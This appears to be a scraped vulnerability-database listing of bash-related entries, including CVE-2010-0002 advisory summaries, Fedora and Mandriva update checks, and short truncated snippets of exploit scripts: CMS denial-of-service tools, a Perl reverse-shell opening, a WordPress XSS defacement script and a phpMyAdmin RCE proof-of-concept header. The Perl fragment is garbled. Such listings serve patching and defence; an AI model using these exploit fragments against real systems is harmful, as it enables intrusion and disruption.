CVE-2010-0002

The /etc/profile.d/60alias.sh script in the Mandriva bash package for Bash 2.05b, 3.0, 3.2, 3.2.48, and 4.0 enables the --show-control-chars option in LSOPTIONS, which allows local users to send escape sequences to terminal emulators, or hide the existence of a file, via a crafted filename...

CVE-2010-0002

The Red Hat/Mandriva family advisories confirm CVE-2010-0002 affects Mandriva’s Bash packages where /etc/profile.d/60alias.sh enables --show-control-chars in LS_OPTIONS, allowing local users to craft filenames that inject terminal escape sequences or hide files. Impact is local, with potential di...

Mandriva Linux Security Advisory : bash (MDVSA-2010:004)

A vulnerability have been discovered in Mandriva bash package, which could allow a malicious user to hide files from the ls command, or garble its output by crafting files or directories which contain special characters or escape sequences CVE-2010-0002. This update fixes the issue by disabling t...

GNU Bash 4.0 - 'ls' Control Character Command Injection

source: https://www.securityfocus.com/bid/37776/info GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command. Attackers can exploit this issue to execute arbitrary commands in a bash terminal; other attacks may also be...

GNU Bash 4.0 - ls Control Character Command Injection

GNU Bash 4.0 - ls Control Character Command Injection source: https://www.securityfocus.com/bid/37776/info GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command. Attackers can exploit this issue to execute arbitrary...

Joomla Core 1.5.x Denial Of Service

!/bin/bash Copyright C 2009 Emanuele Gentili This program is released under the terms of the GNU General Public License GPL, which is distributed with this software in the file "COPYING". The GPL specifies the terms under which users may copy and use this software. jCd0s.sh This is a 0day DOS iss...

0day Wordpress DOS <= 2.9

No description provided by source. !/bin/bash Copyright C 2009 Emanuele Gentili [email protected] This program is released under the terms of the GNU General Public License GPL, which is distributed with this software in the file "COPYING". The GPL specifies the terms under which users may copy...

Joomla! Component Core 1.5.x com_ - Denial of Service

Joomla! Component Core 1.5.x com - Denial of Service !/bin/bash Copyright C 2009 Emanuele Gentili This program is released under the terms of the GNU General Public License GPL, which is distributed with this software in the file "COPYING". The GPL specifies the terms under which users may copy a...

0day Drupal DOS <= 6.16 and 5.21

No description provided by source. !/bin/bash Copyright C 2009 Emanuele Gentili [email protected] This program is released under the terms of the GNU General Public License GPL, which is distributed with this software in the file "COPYING". The GPL specifies the terms under which users may copy...

Joomla! Component Core 1.5.x com_ - Denial of Service

!/bin/bash Copyright C 2009 Emanuele Gentili This program is released under the terms of the GNU General Public License GPL, which is distributed with this software in the file "COPYING". The GPL specifies the terms under which users may copy and use this software. jCd0s.sh This is a 0day DOS iss...

Nagios3 statuswml.cgi Ping Command Execution

$Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Nagios3...

linux rally acquired the shell operations-vulnerability warning-the black bar safety net

!/ usr/bin/perl-w use strict; use Socket; use I:Handle; if$ARGV+1 != 2 print “$ARGV $0 RemoteIP RemotePort \n”; exit 1; my $remoteip = $ARGV0; my $remoteport = $ARGV1; my $proto = getprotobyname”tcp”; my $packaddr = sockaddrin$remoteport, cannot be stored correctly$remoteip; my $shell =...

WordPress 2.8.1 Cross Site Scripting

!/bin/bash echo "wp281.quickprz // iso^kpsbr" SITE=$1 COMMENT=$2 MESSAGE="h4x0riZed by the superfreakaz0rz" if "X$SITE" = "X" ; then echo "$0 postID" echo "f.e. $0 www.worstpress.eu" exit fi if "X$POSTID" = "X" ; then POSTID=1 fi echo "+ building payload" WHERE="title" can also be 'content'...

phpMyAdmin - '/scripts/setup.php' PHP Code Injection

!/bin/bash CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11 by pagvac gnucitizen.org, 4th June 2009. special thanks to Greg Ose labs.neohapsis.com for discovering such a cool vuln, and to str0ke milw0rm.com for testing this PoC script and providing feedback! PoC...

MDVA-2009:062 : bash

Bash as shipped with Mandriva Linux 2009.0 was executing keychain for new users even if the application was not installed. This updated package prevents this from happening. %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a security fix...

Fedora Core 9 FEDORA-2009-3640 (bash-completion)

The remote host is missing an update to bash-completion announced via advisory FEDORA-2009-3640. Note: This VT has been deprecated and is therefore no longer functional. SPDX-FileCopyrightText: 2009 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright...

Fedora Core 9 FEDORA-2009-3640 (bash-completion)

The remote host is missing an update to bash-completion announced via advisory FEDORA-2009-3640. OpenVAS Vulnerability Test $Id: fcore20093640.nasl 6624 2017-07-10 06:11:55Z cfischer $ Description: Auto-generated from advisory FEDORA-2009-3640 bash-completion Authors: Thomas Reinke Copyright:...

Fedora Core 10 FEDORA-2009-3639 (bash-completion)

The remote host is missing an update to bash-completion announced via advisory FEDORA-2009-3639. OpenVAS Vulnerability Test $Id: fcore20093639.nasl 6624 2017-07-10 06:11:55Z cfischer $ Description: Auto-generated from advisory FEDORA-2009-3639 bash-completion Authors: Thomas Reinke Copyright:...

Fedora 10 : bash-completion-1.0-2.fc10 (2009-3639)

Update to version 1.0: http://git.debian.org/?p=bash-completion/bash- completion.git;a=blob;f=CHANGES;hb=28cdfc9243da41f5bdb29b7515482354c01 438d3 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to...

Fedora 9 : bash-completion-1.0-2.fc9 (2009-3640)

Update to version 1.0: http://git.debian.org/?p=bash-completion/bash- completion.git;a=blob;f=CHANGES;hb=28cdfc9243da41f5bdb29b7515482354c01 438d3 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to...